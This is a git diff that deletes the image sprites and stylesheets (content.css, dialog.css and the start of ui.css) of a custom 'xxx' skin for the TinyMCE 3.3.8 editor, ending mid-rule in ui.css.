a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/buttons.png b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/buttons.png deleted file mode 100644 index 7dd58418ba7cfe58ae7efdf174e0b223fe3aa6a0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3274 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 IM6N<$f-S7efB*mh diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/content.css b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/content.css deleted file mode 100644 index 9fba043..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/content.css +++ /dev/null @@ -1,36 +0,0 @@ -body, td, pre {color:#000; font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px; margin:8px;} -body {background:#FFF;} -body.mceForceColors {background:#FFF; color:#000;} -h1 {font-size: 2em} -h2 {font-size: 1.5em} -h3 {font-size: 1.17em} -h4 {font-size: 1em} -h5 {font-size: .83em} -h6 {font-size: .75em} -.mceItemTable, .mceItemTable td, .mceItemTable th, .mceItemTable caption, .mceItemVisualAid {border: 1px dashed #BBB;} -a.mceItemAnchor {display:inline-block; width:11px !important; height:11px !important; background:url(img/items.gif) no-repeat 0 0;} -span.mceItemNbsp {background: #DDD} -td.mceSelected, th.mceSelected {background-color:#3399ff !important} -img {border:0;} -table {cursor:default} -table td, table th {cursor:text} -ins {border-bottom:1px solid green; text-decoration: none; color:green} -del {color:red; text-decoration:line-through} -cite {border-bottom:1px dashed blue} -acronym {border-bottom:1px dotted #CCC; cursor:help} -abbr {border-bottom:1px dashed #CCC; cursor:help} - -/* IE */ -* html body { -scrollbar-3dlight-color:#F0F0EE; -scrollbar-arrow-color:#676662; -scrollbar-base-color:#F0F0EE; -scrollbar-darkshadow-color:#DDD; -scrollbar-face-color:#E0E0DD; -scrollbar-highlight-color:#F0F0EE; -scrollbar-shadow-color:#F0F0EE; -scrollbar-track-color:#F5F5F5; -} - -img:-moz-broken {-moz-force-broken-image-icon:1; width:24px; height:24px} -font[face=mceinline] {font-family:inherit !important} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/dialog.css b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/dialog.css deleted file mode 100644 index f012226..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/dialog.css +++ /dev/null @@ -1,117 +0,0 @@ -/* Generic */ -body { -font-family:Verdana, Arial, Helvetica, sans-serif; font-size:11px; -scrollbar-3dlight-color:#F0F0EE; -scrollbar-arrow-color:#676662; -scrollbar-base-color:#F0F0EE; -scrollbar-darkshadow-color:#DDDDDD; -scrollbar-face-color:#E0E0DD; -scrollbar-highlight-color:#F0F0EE; -scrollbar-shadow-color:#F0F0EE; -scrollbar-track-color:#F5F5F5; -background:#F0F0EE; -padding:0; -margin:8px 8px 0 8px; -} - -html {background:#F0F0EE;} -td {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} -textarea {resize:none;outline:none;} -a:link, a:visited {color:black;} -a:hover {color:#2B6FB6;} -.nowrap {white-space: nowrap} - -/* Forms */ -fieldset {margin:0; padding:4px; border:1px solid #919B9C; font-family:Verdana, Arial; font-size:10px;} -legend {color:#2B6FB6; font-weight:bold;} -label.msg {display:none;} -label.invalid {color:#EE0000; display:inline;} -input.invalid {border:1px solid #EE0000;} -input {background:#FFF; border:1px solid #CCC;} -input, select, textarea {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} -input, select, textarea {border:1px solid #808080;} -input.radio {border:1px none #000000; background:transparent; vertical-align:middle;} -input.checkbox {border:1px none #000000; background:transparent; vertical-align:middle;} -.input_noborder {border:0;} - -/* Buttons */ -#insert, #cancel, input.button, .updateButton { -border:0; margin:0; padding:0; -font-weight:bold; -width:94px; height:26px; -background:url(img/buttons.png) 0 -26px; -cursor:pointer; -padding-bottom:2px; -float:left; -} - -#insert {background:url(img/buttons.png) 0 -52px} -#cancel {background:url(img/buttons.png) 0 0; float:right} - -/* Browse */ -a.pickcolor, a.browse {text-decoration:none} -a.browse span {display:block; width:20px; height:18px; background:url(../../img/icons.gif) -860px 0; border:1px solid #FFF; margin-left:1px;} -.mceOldBoxModel a.browse span {width:22px; height:20px;} -a.browse:hover span {border:1px solid #0A246A; background-color:#B2BBD0;} -a.browse span.disabled {border:1px solid white; opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} -a.browse:hover span.disabled {border:1px solid white; background-color:transparent;} -a.pickcolor span {display:block; width:20px; height:16px; background:url(../../img/icons.gif) -840px 0; margin-left:2px;} -.mceOldBoxModel a.pickcolor span {width:21px; height:17px;} -a.pickcolor:hover span {background-color:#B2BBD0;} -a.pickcolor:hover span.disabled {} - -/* Charmap */ -table.charmap {border:1px solid #AAA; text-align:center} -td.charmap, #charmap a {width:18px; height:18px; color:#000; border:1px solid #AAA; text-align:center; font-size:12px; vertical-align:middle; line-height: 18px;} -#charmap a {display:block; color:#000; text-decoration:none; border:0} -#charmap a:hover {background:#CCC;color:#2B6FB6} -#charmap #codeN {font-size:10px; font-family:Arial,Helvetica,sans-serif; text-align:center} -#charmap #codeV {font-size:40px; height:80px; border:1px solid #AAA; text-align:center} - -/* Source */ -.wordWrapCode {vertical-align:middle; border:1px none #000000; background:transparent;} -.mceActionPanel {margin-top:5px;} - -/* Tabs classes */ -.tabs {width:100%; height:18px; line-height:normal; background:url(img/tabs.gif) repeat-x 0 -72px;} -.tabs ul {margin:0; padding:0; list-style:none;} -.tabs li {float:left; background:url(img/tabs.gif) no-repeat 0 0; margin:0 2px 0 0; padding:0 0 0 10px; line-height:17px; height:18px; display:block;} -.tabs li.current {background:url(img/tabs.gif) no-repeat 0 -18px; margin-right:2px;} -.tabs span {float:left; display:block; background:url(img/tabs.gif) no-repeat right -36px; padding:0px 10px 0 0;} -.tabs .current span {background:url(img/tabs.gif) no-repeat right -54px;} -.tabs a {text-decoration:none; font-family:Verdana, Arial; font-size:10px;} -.tabs a:link, .tabs a:visited, .tabs a:hover {color:black;} - -/* Panels */ -.panel_wrapper div.panel {display:none;} -.panel_wrapper div.current {display:block; width:100%; height:300px; overflow:visible;} -.panel_wrapper {border:1px solid #919B9C; border-top:0px; padding:10px; padding-top:5px; clear:both; background:white;} - -/* Columns */ -.column {float:left;} -.properties {width:100%;} -.properties .column1 {} -.properties .column2 {text-align:left;} - -/* Titles */ -h1, h2, h3, h4 {color:#2B6FB6; margin:0; padding:0; padding-top:5px;} -h3 {font-size:14px;} -.title {font-size:12px; font-weight:bold; color:#2B6FB6;} - -/* Dialog specific */ -#link .panel_wrapper, #link div.current {height:125px;} -#image .panel_wrapper, #image div.current {height:200px;} -#plugintable thead {font-weight:bold; background:#DDD;} -#plugintable, #about #plugintable td {border:1px solid #919B9C;} -#plugintable {width:96%; margin-top:10px;} -#pluginscontainer {height:290px; overflow:auto;} -#colorpicker #preview {float:right; width:50px; height:14px;line-height:1px; border:1px solid black; margin-left:5px;} -#colorpicker #colors {float:left; border:1px solid gray; cursor:crosshair;} -#colorpicker #light {border:1px solid gray; margin-left:5px; float:left;width:15px; height:150px; cursor:crosshair;} -#colorpicker #light div {overflow:hidden;} -#colorpicker #previewblock {float:right; padding-left:10px; height:20px;} -#colorpicker .panel_wrapper div.current {height:175px;} -#colorpicker #namedcolors {width:150px;} -#colorpicker #namedcolors a {display:block; float:left; width:10px; height:10px; margin:1px 1px 0 0; overflow:hidden;} -#colorpicker #colornamecontainer {margin-top:5px;} -#colorpicker #picker_panel fieldset {margin:auto;width:325px;} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/items.gif b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/items.gif deleted file mode 100644 index 2eafd7954e6ebf24204b01db94b39299426d09da..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 70 zcmZ?wbhEHb<YwSzn8*ME|3Tmk5G(#<VPs%nX3znNg5({T#9MmG)lT2O)m+%L<jU2W QWB(Hum`qCgDav3C08tAXbN~PV diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/menu_arrow.gif b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/menu_arrow.gif deleted file mode 100644 index 85e31dfb2d0454de352d87fe95f7003f22c87992..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 68 zcmZ?wbhEHb6k!lyXkcUjg8%>jEB<5wG8q|kKzxu41Cw-5|H{*E`4`XOxxoD9Y}F^Z SLTQbO*E^TJI;F+RU=09Vu@yA{ diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/menu_check.gif b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/menu_check.gif deleted file mode 100644 index adfdddccd7cac62a17d68873fa53c248bff8351a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 70 zcmZ?wbhEHb6k!lyXkcUjg8%>jEB<5wG8q|kKzxu41Cwk||H{*E`4`XG(j;}D)%x|1 U%)82UlRJ8EoZ9xTT7<zG0H3rM{r~^~ diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/progress.gif b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/progress.gif deleted file mode 100644 index 5bb90fd6a49107a321c35b9cee4a7b810314b51f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1787 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 diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/tabs.gif b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/tabs.gif deleted file mode 100644 index ce4be63558b02e9837b995d2b9dd540ce6d61a6f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1326 zcmV+}1=0FPNk%w1VJrb!0M!5h00030|Ns2_{xV8plA^M<#LbbXwB+gR<LT_}@$;dx zyQ#Uq<LT>>o1FUl`^eGF(ALoK@apvR@ALES^78HR@$B&M>-P5Y_4V=e^zifZ@AC5Q z@$v2U_Ve}i^85Sw`1tnr_VoSz{QUg;`uh3!`1kSe-|p?^>+0k0?&$36<?-<A@bBv7 z;@aor-RtP#=HuPz=HTe%-}CYA_Vn`p{{H;@{QCO(|Ns9000000000000000000000 z00000A^8LW001}uEC2ui04xDo000L6KoewPC>oE*q;kn@I-k&}bV{vSuh^^>3n?4| z;IMd1E}PHjw0g~MyWjA*d`_>=7l@jE&+q&HfPsR8goTEOh>41ejE#<ujs_wkHY1jo zn3<ZJoSmMZprN9pq@|{(sHv)}s0KGAu(7hUw6(UkxVgH!yuH4^z`?@9#Kpu0B_PVn z%+1cv(9zP<)YaD4*xB0K+}+;a-UcBd9p&cd=;`X~?CtLF@bU8V^!4`l`1$(y2IUw3 z00RmfNU)&6g9sBUT*$DY!-o(fN}NbhqJaw@FlgM!v7^V2AVZ2ANwTELlPFWFT*<Pf z%a<(;Xv{#frp=o;bL!m5v!~DhpFo2O9ZIyQ(W6L{9yLHygVU!_qe`7hwW`&tShH%~ z%C)Q4uVBN99UInw1PK$;s$I*rt=qS7<I0^&x31m0c=PJr%eSvzz6R1#7)-dZ;lqd% zD_+dFvE#>(BTJr4xw7TUm@OOFuz`c;&!9t#9!<Km>C>oFt6t5zwd>cgW6Pc$+rZ!o zxO3~?&AYen-@t<lA5Ofu@#DyoD__pM`EmoeEl8hEy}I@5*t2Wj&b_<$@8H9WA5Xr# z`SaxsSct&Bz5Dm@<IA5<zrOwZ`19-E&%eL_{{RLE;1&cHXyAbeCaB<o3`*eu1Or4U z;e-@cXyJtzW~kwY9Cqmc;fElGDB_4DmS|#$5E7u`iY&J1;)^iGDC3MY)@b96IOeG1 zjy(40<BvWX0OXKF7HQ;>NG7S|k~SJ3z>`o$Ddm(@N@>THSZ1l^mRxq}B^ypwDdw0~ zere{JXr`&=nrnnf=9^WrDd(JY)@f%NZo;W2ly~;&=bwOLndhE*25RV`h$b4qpoG4u z=%bKEiYB9tjw$J-m}V*mrIp61>8GHE8V0AGPATfCs76X^sZplt>Z^dR%IcG_)@rMq zvd((zuDp7gE33T*D{LLV&T8zj$R?}ovdlK?EUU#nEA6z@R%`9G*b0Edw%m5>?YH2D zEAF`DmTT_0=%%ax?z-%@>+ZYox~sqgCd6y+z4+#<@4o!@>u<RU6ac}$1Q%@Z!3ZaO za19JBpzy;GM=bHg1%E(;0TgGf@x~l?OaluTcP#SAB$s^e3@U_d^2#i??D7gPsO<90 zG}jz4%re`o^Ugfu%R&q}_bl|#M30*S&_yS$w9+TY5cJYeN8NJMPfKm})f=neLe*Gz z?RCN`z`*s_WS6~f*khZm_S)^D&_dd5$1V4`FT6eX-FWA%_ulIc0D%L12aY!ZehY4R z+$zF-_~J`HsW{`15AAs5lv_P{<(MmddFGr8y?N)L+x&Uxq_;eJ>8O)@dg`oiyn5@f zOZ<B5v?n}Ed+oRre0%P^@4I{Nz}x$K@Wi(}eDTO9ul(}NH}CxO&_^%*^wd{x{q@*q kul@Gickli8;D;~%_~e&w{`tx`sQ&uwx9|S@@CN|^JHwS1<NyEw diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/ui.css b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/ui.css deleted file mode 100644 index 8068738..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/img/ui.css +++ /dev/null @@ -1,213 +0,0 @@ -/* Reset */ -.xxxSkin table, .xxxSkin tbody, .xxxSkin a, .xxxSkin img, .xxxSkin tr, .xxxSkin div, .xxxSkin td, .xxxSkin iframe, .xxxSkin span, .xxxSkin *, .xxxSkin .mceText {border:0; margin:0; padding:0; background:transparent; white-space:nowrap; text-decoration:none; font-weight:normal; cursor:default; color:#000; vertical-align:baseline; width:auto; border-collapse:separate; text-align:left} -.xxxSkin a:hover, .xxxSkin a:link, .xxxSkin a:visited, .xxxSkin a:active {text-decoration:none; font-weight:normal; cursor:default; color:#000} -.xxxSkin table td {vertical-align:middle} - -/* Containers */ -.xxxSkin table {direction:ltr; background:#F0F0EE} -.xxxSkin iframe {display:block; background:#FFF} -.xxxSkin .mceToolbar {height:26px} -.xxxSkin .mceLeft {text-align:left} -.xxxSkin .mceRight {text-align:right} - -/* External */ -.xxxSkin .mceExternalToolbar {position:absolute; border:1px solid #CCC; border-bottom:0; display:none;} -.xxxSkin .mceExternalToolbar td.mceToolbar {padding-right:13px;} -.xxxSkin .mceExternalClose {position:absolute; top:3px; right:3px; width:7px; height:7px; background:url(../../img/icons.gif) -820px 0} - -/* Layout */ -.xxxSkin table.mceLayout {border:0; border-left:1px solid #CCC; border-right:1px solid #CCC} -.xxxSkin table.mceLayout tr.mceFirst td {border-top:1px solid #CCC} -.xxxSkin table.mceLayout tr.mceLast td {border-bottom:1px solid #CCC} -.xxxSkin table.mceToolbar, .xxxSkin tr.mceFirst .mceToolbar tr td, .xxxSkin tr.mceLast .mceToolbar tr td {border:0; margin:0; padding:0;} -.xxxSkin td.mceToolbar {padding-top:1px; vertical-align:top} -.xxxSkin .mceIframeContainer {border-top:1px solid #CCC; border-bottom:1px solid #CCC} -.xxxSkin .mceStatusbar {font-family:'MS Sans Serif',sans-serif,Verdana,Arial; font-size:9pt; line-height:16px; overflow:visible; color:#000; display:block; height:20px} -.xxxSkin .mceStatusbar div {float:left; margin:2px} -.xxxSkin .mceStatusbar a.mceResize {display:block; float:right; background:url(../../img/icons.gif) -800px 0; width:20px; height:20px; cursor:se-resize; outline:0} -.xxxSkin .mceStatusbar a:hover {text-decoration:underline} -.xxxSkin table.mceToolbar {margin-left:3px} -.xxxSkin span.mceIcon, .xxxSkin img.mceIcon {display:block; width:20px; height:20px} -.xxxSkin .mceIcon {background:url(../../img/icons.gif) no-repeat 20px 20px} -.xxxSkin td.mceCenter {text-align:center;} -.xxxSkin td.mceCenter table {margin:0 auto; text-align:left;} -.xxxSkin td.mceRight table {margin:0 0 0 auto;} - -/* Button */ -.xxxSkin .mceButton {display:block; border:1px solid #F0F0EE; width:20px; height:20px; margin-right:1px} -.xxxSkin a.mceButtonEnabled:hover {border:1px solid #0A246A; background-color:#B2BBD0} -.xxxSkin a.mceButtonActive, .xxxSkin a.mceButtonSelected {border:1px solid #0A246A; background-color:#C2CBE0} -.xxxSkin .mceButtonDisabled .mceIcon {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} -.xxxSkin .mceButtonLabeled {width:auto} -.xxxSkin .mceButtonLabeled span.mceIcon {float:left} -.xxxSkin span.mceButtonLabel {display:block; font-size:10px; padding:4px 6px 0 22px; font-family:Tahoma,Verdana,Arial,Helvetica} -.xxxSkin .mceButtonDisabled .mceButtonLabel {color:#888} - -/* Separator */ -.xxxSkin .mceSeparator {display:block; background:url(../../img/icons.gif) -180px 0; width:2px; height:20px; margin:2px 2px 0 4px} - -/* ListBox */ -.xxxSkin .mceListBox, .xxxSkin .mceListBox a {display:block} -.xxxSkin .mceListBox .mceText {padding-left:4px; width:70px; 